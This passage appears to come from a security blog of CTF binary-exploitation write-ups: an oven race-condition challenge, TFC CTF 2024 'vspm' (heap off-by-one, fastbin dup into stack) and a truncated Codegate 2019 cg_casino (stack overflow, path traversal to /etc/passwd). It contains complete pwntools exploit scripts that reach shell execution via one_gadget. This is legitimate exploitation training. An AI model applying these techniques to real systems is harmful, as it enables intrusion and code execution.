    sleep(1u);
  }
}

When left_time reaches 0, it shifts structures after that food forward by one position and decrements food_count.

There’s another way to remove food - looking at cook_1928:

void *__fastcall cook_1928(struct oven *a1)
{
  ...
  while ( 1 )
  {
    pthread_mutex_lock((pthread_mutex_t *)oven->mutex);
    while ( !LODWORD(oven->ready) )
      pthread_cond_wait((pthread_cond_t *)oven->cond, (pthread_mutex_t *)oven->mutex);
    ...
    __isoc99_scanf("%d", &choice);
    ...
    if ( choice == 2 )
    {
      printf("Select food to remove in '%s':\n", oven->name);
      ...
      __isoc99_scanf("%d", &tmp);
      if ( (int)tmp <= (__int64)__readfsqword(0xFFFFFE90) && (int)tmp > 0 )
      {
        LODWORD(tmp) = tmp - 1;
        for ( m = tmp; m < (__int64)__readfsqword(0xFFFFFE90); ++m )
        {
          food_cur = (struct food *)(__readfsqword(0) + 0x50LL * m - 0x160);
          food_next = (struct food *)(__readfsqword(0) + 0x50LL * (m + 1) - 0x160);
          memcpy(food_cur, food_next, 0x50);
        }
        __writefsqword(0xFFFFFE90, __readfsqword(0xFFFFFE90) - 1);
        goto LABEL_39;
      }
LABEL_19:
      puts("Invalid choice.");
      pthread_mutex_unlock((pthread_mutex_t *)oven->mutex);
    }
LABEL_39:
    pthread_mutex_unlock((pthread_mutex_t *)oven->mutex);
  }
  ...
}

It prints the current food list, receives the index in tmp of the food to remove, deletes it, then decrements food_count via __writefsqword() at line 26.

The vulnerability here is that the code decrementing food_count in start_routine_16B1 when time expires isn’t managed as a critical section. Therefore, it can execute concurrently with cook_1928’s remove logic, creating a race condition.

`cook_1928`	`start_routine_16B1`
`if ( tmp <= __readfsqword(0xFFFFFE90) && tmp > 0 )`
	`food_next = &arg->food[j + 1];`
`food_cur = (__readfsqword(0) + 0x50LL * m - 0x160);`
	`food_cur = &arg->food[j];`
`food_next = (__readfsqword(0) + 0x50LL * (m + 1) - 0x160);`
	`memcpy(food_cur, food_next, 0x50);`
`memcpy(food_cur, food_next, 0x50);`
	`--(_QWORD )arg->count;`
`__writefsqword(0xFFFFFE90, __readfsqword(0xFFFFFE90) - 1);`

If a race condition occurs this way, even with one insert, the value decrements twice, causing underflow in food_count.

0x02. Exploit

Information Leak

Starting from food[0] and printing memory in 0x50 (food size) increments reveals this region.

gef➤
0x7ffff7da56a0: 0x0000000000000000      0x0000000000000000
0x7ffff7da56b0: 0x0000000000000000      0x0000000000000000
0x7ffff7da56c0: 0x00007ffff7da56c0      0x000055555555a960
0x7ffff7da56d0: 0x00007ffff7da56c0      0x0000000000000001
0x7ffff7da56e0: 0x0000000000000000      0x3ce1f8458248c000

The area corresponding to food[4] contains addresses to TLS(Thread Local Storage) and heap regions, plus a canary value (though not needed for this challenge). Since you can insert up to 4 foods, creating food[0]~food[3] then removing food[0] copies food[4] data to food[3]. Removing food[0] four times this way copies the food[4] area data to food[0]~food[3].

Note that 0x7ffff7da56c0 stored at 0x7ffff7da56c0 is the TLS address - the value returned when executing __readfsqword(0). If this value changes, __readfsqword(0) returns the changed value, so we need to be careful.

printf("Foods in '%s':\n", oven->name);
for ( i = 0; i < (__int64)__readfsqword(0xFFFFFE90); ++i )
  printf(
    "%d. %s (cooking for %lld seconds, %lld seconds left)\n",
    (unsigned int)(i + 1),
    (const char *)(80LL * i + __readfsqword(0) - 0x160),  // name; 0x00007ffff7d864e0
    *(_QWORD *)(__readfsqword(0) + 0x50LL * i - 0x120),   // cook_time
    *(_QWORD *)(__readfsqword(0) + 0x50LL * i - 0x118));  // left_time

Since food.name is printed via %s formatter, we need to fill the intermediate \x00s. This can be solved through read() called when selecting the hidden choice.

if ( food_choice == 4 )     // hidden
{
  pthread_mutex_lock(&prompt_mutex_5100);
  printf("Enter food name for spacial food: ");
  read(0, (void *)(__readfsqword(0) - 0x160 + 0x50 * __readfsqword(0xFFFFFE90)), 0x40uLL);  // name; 0x00007ffff7d864e0
  pthread_mutex_unlock(&prompt_mutex_5100);
}

So I wrote the payload as follows.

    create_oven(s, b"1111")
    select_oven(s, b"1")

    for _ in range(4):
        insert_food(s, b"1", 12345)
    for _ in range(4):
        remove_food(s, b"1")
    insert_food(s, b"5", 12345, b"A" * 0x20)
    r = insert_food(s, b"5", 12345, b"B" * 0x28)
    tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
    libc = tls + 0x3940
    heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
    remove_food(s, b"1")
    remove_food(s, b"1")

Since TLS is allocated just above libc, we can obtain the libc base by calculating the offset.

Race Condition

I wrote a brute force payload to find the sleep time needed to trigger the race condition.

def brute_force_time(port):
    context.log_level = 'error'
    for i in range(10000):
        s = remote("0.0.0.0", port)
        s.recvuntil(b"option: ")
        create_oven(s, b"1111")
        select_oven(s, b"1")

        # code for information leak

        insert_food(s, b"1", 1)
        sleep_time = 0.95 + i / 10000
        sleep(sleep_time)
        remove_food(s, b"1")
        r = insert_food(s, b"1", 60)
        if len(r.split(b"\n")) > 60:
            print(f"success : {sleep_time}")
        s.close()
        print(f'\rProgress: {i} / 10000\r', end='')

Since the race condition is triggered after information leak, the leak payload needs to be included to accurately find the timing.

On successful trigger, food_count becomes -1, and inserting then writes data to food[-1].

food[-1]     :  0x00007ffff7da5510 -> name[0x40]
                0x00007ffff7da5520
                0x00007ffff7da5530
                0x00007ffff7da5540
food_count   :  0x00007ffff7da5550 -> cook_time[0x8], left_time[0x8]
food[0]      :  0x00007ffff7da5560 -> name[0x40]
                0x00007ffff7da5570
                0x00007ffff7da5580
                0x00007ffff7da5590
                0x00007ffff7da55a0 -> cook_time[0x8], left_time[0x8]
                0x00007ffff7da55b0
                ...
TLS          :  0x00007ffff7da56c0
                ...
LIBC         :  0x00007ffff7da9000

Since input cook_time is written at the food_count position, inputting 60 makes it recognize food_count as 60, printing 60 foods. So I wrote the payload to judge success by the number of printed foods.

➜  python3 exploit.py -p 8798 -d 0 -b 1
success : 0.981
success : 0.9814
success : 0.9816

This found suitable sleep times. However, running it multiple times shows the time window shifts slightly, possibly due to memory issues.

RIP Control

After triggering the race condition, checking thread info with info threads in gdb:

gef➤  info threads
  Id   Target Id          Frame
  1    LWP 974101 "chall" 0x00007ffff7e41d61 in ?? () from ./lib/x86_64-linux-gnu/libc.so.6
* 2    LWP 974149 "chall" 0x0000555555555e51 in ?? ()
  3    LWP 974150 "chall" 0x00007ffff7e95adf in clock_nanosleep () from ./lib/x86_64-linux-gnu/libc.so.6

Thread 3 runs start_routine_16B1. Switching context with thread 3:

[#0] 0x7ffff7e95adf → clock_nanosleep()
[#1] 0x7ffff7ea2a27 → nanosleep()
[#2] 0x7ffff7eb7c63 → sleep()
[#3] 0x555555555923 → jmp 0x5555555556d9
[#4] 0x7ffff7e45a94 → jmp 0x7ffff7e4586d
[#5] 0x7ffff7ed2a34 → clone()
─────────────────────────────────────────────────────────────────────────────────────────────
gef➤  p $rsp
$1 = (void *) 0x7ffff75a3c20
gef➤  vmmap 0x7ffff75a3c20
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00007ffff6da5000 0x00007ffff75a5000 0x0000000000000000 rw-

It decrements left_time at each second and checks if food is ready by executing clock_nanosleep().

It also uses a new TLS region rather than the leaked one, using as stack.

The call stack goes sleep() -> nanosleep() -> clock_nanosleep(). To overwrite something, it’s better to taget sleep() which has longer call intervals.

 → 0x7ffff7eb7c84 <sleep+100>      ret
──────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "chall", stopped 0x7ffff7e41d61 in ?? (), reason: SINGLE STEP
[#1] Id 2, Name: "chall", stopped 0x7ffff7ec4a9a in read (), reason: SINGLE STEP
[#2] Id 3, Name: "chall", stopped 0x7ffff7eb7c84 in sleep (), reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7eb7c84 → sleep()
[#1] 0x555555555923 → jmp 0x5555555556d9
[#2] 0x7ffff7e45a94 → jmp 0x7ffff7e4586d
[#3] 0x7ffff7ed2a34 → clone()
─────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/gx $rsp
0x7ffff75a3ce8: 0x0000555555555923

When sleep() returns, rsp points to 0x7ffff75a3ce8. While this address is in a different TLS region than the leaked 0x7ffff7da56c0, the offset between TLS regions is consistent, so calculating the offset gives access.

The original challenge has shadow stack enabled, but without it here, we can overwrite this return address for RIP control.

On successful race condition trigger, food_count becomes -1. As a result, food[-1].cook_time is at the position of food_count, making it a large value. By appropriately using the index, we can write to the return address of sleep() in thread 3.

    insert_food(s, b"1", 1)
    sleep(0.9813)
    remove_food(s, b"1")
    
    food = 0x7ffff7da5560
    ret_sleep = 0x7ffff75a3ce0
    index = (food - ret_sleep) // 0x50 + 1
    print(insert_food(s, b"1", index * -1))

    one_gadget = 0x583dc
    payload = b"A" * 8
    payload += p64(libc + one_gadget)
    insert_food(s, b"5", 12345, payload)

Fortunately, there’s a usable one-shot gadget, so I overwrote it with that address.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc.so.6"
CONTAINER = "2206a2d4bc57"

code_base = 0x0000555555554000
bp = {
    'cook' : code_base + 0x1928,
    'dec_count_cook' : code_base + 0x21F9,
    'read_insert_cook' : code_base + 0x1E51,
    'remove_cook' : code_base + 0x1F9D,
    'go_back_cook' : code_base + 0x221A,
    'ret_print_oven' : code_base + 0x16B0,
}

gs = f'''
continue
b *{bp['dec_count_cook']}
b *{bp['read_insert_cook']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def create_oven(s, name):
    s.sendline(b"0")
    s.recvuntil(b"name: ")
    s.sendline(name)
    return s.recvuntil(b"option: ")

def select_oven(s, number):
    s.sendline(number)
    return s.recvuntil(b"option: ")

def insert_food(s, number, time, name=""):
    s.sendline(b"1")
    s.recvuntil(b"> ")
    s.sendline(number)
    s.recvuntil(b"(seconds): ")
    s.sendline(str(time).encode())
    if number == b"5":
        s.recvuntil(b"food: ")
        s.send(name)
    return s.recvuntil(b"option: ")

def remove_food(s, number):
    s.sendline(b"2")
    s.recvuntil(b"> ")
    s.sendline(number)
    return s.recvuntil(b"option: ")

def go_back(s):
    s.sendline(b"3")
    return s.recvuntil(b"option: ")

def brute_force_time(port):
    context.log_level = 'error'
    for i in range(10000):
        s = remote("0.0.0.0", port)
        s.recvuntil(b"option: ")
        create_oven(s, b"1111")
        select_oven(s, b"1")

        for _ in range(4):
            insert_food(s, b"1", 12345)
        for _ in range(4):
            remove_food(s, b"1")
        insert_food(s, b"5", 12345, b"A" * 0x20)
        r = insert_food(s, b"5", 12345, b"B" * 0x28)
        tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
        libc = tls + 0x3940
        heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
        remove_food(s, b"1")
        remove_food(s, b"1")

        insert_food(s, b"1", 1)
        sleep_time = 0.98 + i / 10000
        sleep(sleep_time)
        remove_food(s, b"1")
        r = insert_food(s, b"1", 60)
        if len(r.split(b"\n")) > 60:
            print(f"success : {sleep_time}")
        s.close()
        print(f'\rProgress: {i} / 10000\r', end='')

def main(port, debug, brute_force):
    if(brute_force):
        brute_force_time(port)
    if(port):
        s = remote("0.0.0.0", port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    s.recvuntil(b"option: ")
    create_oven(s, b"1111")
    select_oven(s, b"1")

    # information leak
    for _ in range(4):
        insert_food(s, b"1", 12345)
    for _ in range(4):
        remove_food(s, b"1")
    insert_food(s, b"5", 12345, b"A" * 0x20)
    r = insert_food(s, b"5", 12345, b"B" * 0x28)
    tls = u64(r.split(b"A" * 0x20)[1].split(b" ")[0] + b"\x00\x00")
    libc = tls + 0x3940
    heap = u64(r.split(b"B" * 0x28)[2].split(b" ")[0] + b"\x00\x00") - 0x960
    remove_food(s, b"1")
    remove_food(s, b"1")

    # trigger race condition
    insert_food(s, b"1", 1)
    sleep(0.9814)
    remove_food(s, b"1")
    
    # overwrite food_count
    food = 0x7ffff7da5560
    ret_sleep = 0x7ffff75a3ce0
    index = (food - ret_sleep) // 0x50 + 1
    print(insert_food(s, b"1", index * -1))
    
    # overwrite ret of sleep() in thread 3
    one_gadget = 0x583dc
    payload = b"A" * 8
    payload += p64(libc + one_gadget)
    insert_food(s, b"5", 12345, payload)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    parser.add_argument('-b', '--brute_force', type=int, default=0)
    args = parser.parse_args()
    main(args.port, args.debug, args.brute_force)

TFC CTF 2024 - vspm

2024-08-21T00:00:00+00:00

0x00. Introduction

[*] '/home/user/vspm'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'.'

Structure

struct password {
    char *credential;
    char name[0x20];
}

This structure can store up to 10 entries in the code_base + 0x4060 region.

0x01. Vulnerability

unsigned __int64 save_12EE()
{
  ...
  __isoc99_scanf("%d", &len);
  getchar();
  if ( len >= 0x79 )
  {
    puts("Sorry, not enough resources!");
    exit(0);
  }
  ...
  password_4060[i].credential = malloc(len);
  printf("Enter credentials: ");
  read(0, password_4060[i].credential, (len + 1));
  printf("Name of the credentials: ");
  read(0, password_4060[i].name, (len + 1));
  ...
}

In the save() function for storing passwords, the user inputs the size len for credential, then reads len + 1 bytes. However, since the fixed-length(0x20) name also reads len + 1 bytes, we can overwrite the next password structure’s credential.

While we can write len + 1 bytes in credential to overwrite the first byte of the next chunk’s header, I couldn’t find an exploitation path by modifying prev_size.

0x02. Exploit

Before proceeding with exploitation, checking the protections reveals that all regions (code, stack, libc) are randomized. With the current credential overwrite vulnerability, I needed to leak at least one memory region.

Libc Leak

One commonly used heap memory leak technique involves leaking main_arena through the unsorted bin. Since main_arena is in the libc region, we can obtain the libc base by calculating the offset.

The problem is that chunks need to be at least 0x80 bytes to be sent to the unsorted bin when freed, but the maximum input len is 0x79. Since heap chunks are allocated sequentially and only the 0xXXXXXXXXXXXXX000 portion of the address varies, I can construct a fake chunk and use the credential overwrite vulnerability to make the next password structure’s credential point to it:

    payload = p64(0)                                # fake chunk -> prev_size
    payload += p64(0x111)                           # fake chunk -> size
    save(s, 0x30, payload, b"0000")
    save(s, 0x30, b"BBBB", b"1111")
    save(s, 0x30, b"CCCC", b"2222")
    save(s, 0x40, b"DDDD", b"3333")
    save(s, 0x30, payload, b"4444")
    save(s, 0x60, b"FFFF", b"5555")
    save(s, 0x60, b"GGGG", b"6666")

First, arrange the chunks considering the offset differences between 0000, 4444, and the top chunk.

Initially, I thought I only needed to consider the offset between 0000 and 4444, but the offset with the top chunk also needs to match for successful fake chunk free:

# first password structure
gef➤  x/5gx 0x555555558060
0x555555558060: 0x000055555555d010      0x0000000030303030
0x555555558070: 0x0000000000000000      0x0000000000000000
0x555555558080: 0x0000000000000000
# first fake chunk header
gef➤  x/2gx 0x000055555555d010
0x55555555d010: 0x0000000000000000      0x0000000000000111
# second fake chunk header
gef➤  x/2gx 0x000055555555d010 + 0x110
0x55555555d120: 0x0000000000000000      0x0000000000000111
# top chunk
gef➤  x/2gx 0x000055555555d010 + 0x220
0x55555555d230: 0x0000000000000000      0x0000000000020dd1

Now to make 2222’s credential point to the fake chunk:

    delete(s, b"1")                                 # free "1111"
    save(s, 0x30, b"BBBB", b"1" * 0x20 + b"\x20")   # alloc "1111" and overwrite next pointer
    delete(s, b"2")                                 # free fake chunk -> unsorted bin

Using 1111 to make 2222’s credential point to 0x55555555d020 makes the value at 0x55555555d010 act as the chunk header. When we free 2222, it’s treated as freeing a 0x100-sized chunk and moves to the unsorted bin:

────────────────────────── Unsorted Bin for arena at 0x7ffff7dd0b60 ──────────────────────────
[+] unsorted_bins[0]: fw=0x55555555d010, bk=0x55555555d010
 →   Chunk(addr=0x55555555d020, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
gef➤  x/4gx 0x55555555d010
0x55555555d010: 0x0000000000000000      0x0000000000000111
0x55555555d020: 0x00007ffff7dd0bc0      0x00007ffff7dd0bc0

During this process, the freed chunk’s fd and bk get written with main_arena addresses. Since memory isn’t cleared when the region is returned via malloc, we can leak it through check().

Fortunately, requesting a chunk smaller than 0x100 still allocates from the unsorted bin by splitting it, so I requested a 0x30-sized chunk:

    save(s, 0x30, b"\xc0", b"2222")                 # alloc from unsorted bin
    r = check(s)
    arena = 0x3b4cc0
    libc = u64(r.split(b"2222 --> ")[1][:6] + b"\x00\x00") - arena
    log.info(f"libc : {hex(libc)}")

The \xc0 I input is the first byte of main_arena from the debugger. While we don’t need to match it since we calculate the offset anyway, we need to provide some input, so I matched it.

Stack Leak

With the libc leak successful, I can now print any libc region using credential overwrite and check(). The environ variable in the libc region stores a stack address, so I used this for stack leak:

    delete(s, b"0")
    environ = 0x3b75d8
    payload = b"0" * 0x20
    payload += p64(libc + environ)
    save(s, 0x30, b"AAAA", payload)

First, free 0000 and overwrite so 1111’s credential points to environ:

    r = check(s)
    stack = u64(r.split(b"1111 --> ")[1][:6] + b"\x00\x00") - 0x110
    log.info(f"stack : {hex(stack)}")

Since 1111 points to environ and check() prints credential information, we can obtain the stack address stored in environ.

Fastbin Dup into Stack

Similar to using the credential overwrite vulnerability to point to a fake chunk, we can trigger a double free vulnerability by pointing to another credential:

    save(s, 0x60, b"FFFF", b"5555")
    save(s, 0x60, b"GGGG", b"6666")
    save(s, 0x60, b"HHHH", b"7777")

After executing this payload, the password structures contain:

gef➤
0x555555558128: 0x000055555555d1d0      0x0000000035353535
0x555555558138: 0x0000000000000000      0x0000000000000000
0x555555558148: 0x0000000000000000
gef➤
0x555555558150: 0x000055555555d160      0x0000000036363636
0x555555558160: 0x0000000000000000      0x0000000000000000
0x555555558170: 0x0000000000000000
gef➤
0x555555558178: 0x000055555555d240      0x0000000037373737
0x555555558188: 0x0000000000000000      0x0000000000000000
0x555555558198: 0x0000000000000000

To trigger the double free vulnerability, we need to overwrite 7777’s 0x55555555d240 with 5555’s 0x55555555d1d0.

The reason for using 0x60-sized credential will be explained later. Since we allocate three 0x60-sized chunks, the second byte of the chunk address differs. In 0xd1d0, the 0x1d0 is fixed and only the 0xd000 portion varies, creating a 1/16 probability for successful exploitation.

While it might be possible to manipulate fastbin carefully or perform heap leak, the probability wasn’t too low, so I proceeded as is:

    delete(s, b"6")
    save(s, 0x60, b"GGGG", b"6" * 0x20 + b"\xd0\xd1")
    
    delete(s, b"5")
    delete(s, b"6")
    delete(s, b"7")

As in the payload above, matching 7777’s credential with 5555’s and freeing in order 5555, 6666, 7777 results in:

0x55555555d1d0 -> 0x55555555d160 -> 0x55555555d1d0

Now requesting the 0x60-sized chunk via malloc returns 0x55555555d1d0. If we write a stack address here and can write a fake chunk header at that address, it gets added to the fastbin list.

So I searched for a stack location where I could construct a fake chunk header. Initially, I tried using save() function’s stack:

unsigned __int64 save_12EE()
{
  unsigned int len; // [rsp+8h] [rbp-68h] BYREF
  int i; // [rsp+Ch] [rbp-64h]
  ...
}

Constructing a fake chunk header using len and i gives 0x70 bytes to the return address, which is less than the maximum allocation size of 0x78, so it seemed feasible.

However, there’s a contradiction: to allocate a 0x70-sized chunk, we need to input 0x70 for len, but when constructing the fake chunk header, we need to input 0x80 for the size to match.

So I needed to find another area. Since there’s no function that terminates by returning, I realized that when allocating and reading in save(), overwriting read()’s return address might work:

unsigned __int64 save_12EE()
{
  ...
  password_4060[i].credential = malloc(len);
  printf("Enter credentials: ");
  read(0, password_4060[i].credential, (len + 1));
  ...
}

The problem again is the fake chunk header. Checking the area that can overwrite read()’s return address just before malloc():

gef➤  x/16gx 0x7fffffffdbd0
0x7fffffffdbd0: 0x0000000000000000      0x0000000000000000
0x7fffffffdbe0: 0x00007fffffffdce0      0x00007ffff7a6dd8e
0x7fffffffdbf0: 0x00007ffff7ff4000      0x0000003000000008
0x7fffffffdc00: 0x00007fffffffdcd0      0x00007fffffffdc10
0x7fffffffdc10: 0x000000000000000a      0x00007fffffffdcd4
0x7fffffffdc20: 0x0000000000000000      0x00007ffff7b030c3
0x7fffffffdc30: 0x0000000000000000      0x00007fffffffdcc0
0x7fffffffdc40: 0x00005555555551a0      0x0000555555555397

While 0x60 is stored at 0x7fffffffdbf8, this value was stored during internal logic execution after being passed as an argument to malloc(), creating the same contradiction.

Here’s the trick: chunk headers don’t need proper alignment, so considering that the highest byte of stack addresses is 0x7f, I examined memory again:

gef➤  x/16gx 0x7fffffffdbd5
0x7fffffffdbd5: 0x0000000000000000      0xffffffdce0000000
0x7fffffffdbe5: 0xfff7a6dd8e00007f      0xfff7ff400000007f
0x7fffffffdbf5: 0x300000000800007f      0xffffffdcd0000000
0x7fffffffdc05: 0xffffffdc1000007f      0x000000000a00007f
0x7fffffffdc15: 0xffffffdcd4000000      0x000000000000007f
0x7fffffffdc25: 0xfff7b030c3000000      0x000000000000007f
0x7fffffffdc35: 0xffffffdcc0000000      0x55555551a000007f
0x7fffffffdc45: 0x5555555397000055      0x555555618f000055

There are two areas that can be used as fake chunk headers: 0x7fffffffdc15 and 0x7fffffffdc25. Setting fd to 0x7fffffffdc15 fails malloc(), while 0x7fffffffdc25 succeeds.

The supposed reason is that this area is just above the current function’s stack, overlapping with malloc()’s stack region, and values stored at 0x7fffffffdc15 get overwritten as malloc() uses its stack internally.

Anyway, to set 0x7fffffffdc25 as fd, after calculating the offset with the acquired stack address and allocating 0x55555555d1d0, the fastbin is configured as:

0x55555555d160 -> 0x55555555d1d0 -> 0x7fffffffdc35

Therefore, the third malloc() returns the stack address, and we can calculate the offset to overwrite read()’s return address with a one-shot gadget:

    payload = p64(stack - 0xa3)
    save(s, 0x60, payload, b"5555")
    save(s, 0x60, b"GGGG", b"6666")
    save(s, 0x60, payload, b"7777")
    
    delete(s, b"0")
    one_gadget = 0xe1fa1
    payload = b"A" * 0x13
    payload += p64(libc + one_gadget)
    save(s, 0x68, payload, b"0000", fin = 1)

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "vspm"
code_base = 0x0000555555554000
bp = {
    'save' : code_base + 0x12EE,
    'malloc_of_save' : code_base + 0x1414,
    'check' : code_base + 0x14ED,
    'cred' : code_base + 0x4060,
}

gs = f'''
continue
b *{bp['malloc_of_save']}
'''
context.terminal = ['tmux', 'splitw', '-hf']

def save(s, length, cred, name, fin = 0):
    s.sendline(b"1")
    s.recvuntil(b"length: ")
    s.sendline(str(length).encode())
    s.recvuntil(b"credentials: ")
    s.send(cred)
    if fin:
        return
    s.recvuntil(b"credentials: ")
    s.send(name)
    return s.recvuntil(b"Input: ")

def check(s):
    s.sendline(b"2")
    return s.recvuntil(b"Input: ")

def delete(s, index):
    s.sendline(b"3")
    s.recvuntil(b"index: ")
    s.sendline(index)
    return s.recv()

def main(port, debug):
    if(port):
        s = remote("0.0.0.0", port)
    else:
        s = process(BINARY)
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    log.info(f"cred : {hex(bp['cred'])}")
    s.recv()

    payload = p64(0)                                # fake chunk -> prev_size
    payload += p64(0x111)                           # fake chunk -> size
    save(s, 0x30, payload, b"0000")
    save(s, 0x30, b"BBBB", b"1111")
    save(s, 0x30, b"CCCC", b"2222")
    save(s, 0x40, b"DDDD", b"3333")
    save(s, 0x30, payload, b"4444")
    save(s, 0x60, b"FFFF", b"5555")
    save(s, 0x60, b"GGGG", b"6666")

    # libc leak
    delete(s, b"1")                                 # free "1111"
    save(s, 0x30, b"BBBB", b"1" * 0x20 + b"\x20")   # alloc "1111" and overwrite next pointer
    delete(s, b"2")                                 # free fake chunk -> unsorted bin
    save(s, 0x30, b"\xc0", b"2222")                 # alloc from unsorted bin
    
    r = check(s)
    arena = 0x3b4cc0
    libc = u64(r.split(b"2222 --> ")[1][:6] + b"\x00\x00") - arena
    log.info(f"libc : {hex(libc)}")
    
    # flush unsorted bin
    save(s, 0x60, b"HHHH", b"7777")
    save(s, 0x50, b"IIII", b"8888")
    delete(s, b"7")
    delete(s, b"8")

    # stack leak
    delete(s, b"0")
    environ = 0x3b75d8
    payload = b"0" * 0x20
    payload += p64(libc + environ)
    save(s, 0x30, b"AAAA", payload)

    r = check(s)
    stack = u64(r.split(b"1111 --> ")[1][:6] + b"\x00\x00") - 0x110
    log.info(f"stack : {hex(stack)}")

    # fastbin dup
    delete(s, b"5")
    delete(s, b"6")

    save(s, 0x60, b"FFFF", b"5555")
    save(s, 0x60, b"GGGG", b"6666")
    save(s, 0x60, b"HHHH", b"7777")
    pause()

    delete(s, b"6")
    save(s, 0x60, b"GGGG", b"6" * 0x20 + b"\xd0\xd1")
    
    delete(s, b"5")
    delete(s, b"6")
    delete(s, b"7")
    
    payload = p64(stack - 0xa3)
    save(s, 0x60, payload, b"5555")
    save(s, 0x60, b"GGGG", b"6666")
    save(s, 0x60, payload, b"7777")
    
    delete(s, b"0")
    one_gadget = 0xe1fa1
    payload = b"A" * 0x13
    payload += p64(libc + one_gadget)
    save(s, 0x68, payload, b"0000", fin = 1)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.port, args.debug)

Codegate CTF 2019 Quals - cg_casino

2024-08-01T00:00:00+00:00

0x00. Introduction

[*] '/home/user/cg_casino'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Concept

➜  nc 0 6677
$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$  CG CASINO $$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
>

The challenge implements three casino games along with put voucher and merge voucher functionalities.

0x01. Vulnerability

Stack Overflow

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  char new[48]; // [rsp+30h] [rbp-60h] BYREF
  char old[40]; // [rsp+60h] [rbp-30h] BYREF
  ...
    switch ( choice )
    {
      case 1:
        memset(new, 0, 0x28uLL);
        printf("input voucher : ");
        read_401108((__int64)new);
        len32_alnum_4010A4(new);
        break;
      case 2:
        memset(old, 0, sizeof(old));
        printf("input old voucher : ");
        read_401108((__int64)old);
        xstat_unlink_400F09(new, old);
        break;
    }
  ...
}

When putting or merging a voucher, the voucher name is received through read_401108():

unsigned __int64 __fastcall read_401108(__int64 a1)
{
  ...
  while ( 1 )
  {
    if ( (unsigned int)read(0, &buf, 1uLL) != 1 )
      exit(-1);
    if ( buf == 10 )
      break;
    index = i++;
    *(_BYTE *)(a1 + index) = buf;
  }
  v1 = i++;
  *(_BYTE *)(v1 + a1) = 0;
  ...
}

The function reads input byte by byte until encountering \n, which causes an overflow all the way to the end of the stack.

However, since main() calls exit() directly without returning, gaining RIP control appears difficult.

Stack Leak

I stumbled upon this during dynamic analysis - there’s a leak of uninitialized data in lotto_4011A7():

unsigned __int64 lotto_4011A7()
{
  ...
  int number[6]; // [rsp+10h] [rbp-40h]
  int guess[6]; // [rsp+30h] [rbp-20h] BYREF
  ...
  while ( i <= 5 )
  {
    __isoc99_scanf("%u", &guess[i]);
    getchar();
    if ( (unsigned int)guess[i] <= 44 )
      ++i;
    else
      printf("%u : out of range\n", (unsigned int)guess[i]);
  }
  puts("===================");
  ...
}

The game generates 6 random numbers between 0-44, stores them, and asks you to guess them by filling the guess array.

Here’s the issue: if you input something that doesn’t match the %u format (like a), scanf fails and prints the existing value in guess:

GUESS 6 Numbers!
===================
|  |  |  |  |  |  |
===================
a a a a a a
2522534248 : out of range
2522534248 : out of range
2522534248 : out of range
2522534248 : out of range

File Copy

This is actually a feature rather than a vulnerability, but merge voucher calls this function:

unsigned __int64 __fastcall xstat_unlink_400F09(const char *new, char *old)
{
  ...
  if ( strlen(old) == 32 )
  {
    if ( xstat_4016D0(old, &n_4) == -1 )
    {
      puts("voucher doesn't exist");
    }
    else if ( n_4.st_size <= 4096 )
    {
      fd_old = open(old, 0);
      if ( fd_old != -1 )
      {
        len = read(fd_old, buf, 4096uLL);
        close(fd_old);
        fd_new = open(new, 66, 384LL);
        if ( fd_new != -1 )
        {
          write(fd_new, buf, len);
          close(fd_new);
          unlink(old);
        }
        memset(buf, 0, 0x1000uLL);
      }
    }
    ...
  }
}

By specifying a filename in stack’s new through put voucher, you can move any 32-byte filename to the /home/cg_casino/voucher/ directory. Since there’s no validation on the input, the length restriction can be bypassed by combining ../ and ./:

../../../../../../././etc/passwd

0x02. Exploit

File Drop

That’s all the vulnerabilities, but the problem is there’s no way to upload files to the server. I needed to somehow upload a file, use merge voucher to move it to /home/cg_casino/voucher/, then proceed to the next step…

That’s when I found this in the /proc/self/environ file:

cg_casino@3197b44a521a:~/voucher$ cat /proc/1203/environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=3197b44a52
1aERASER2=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
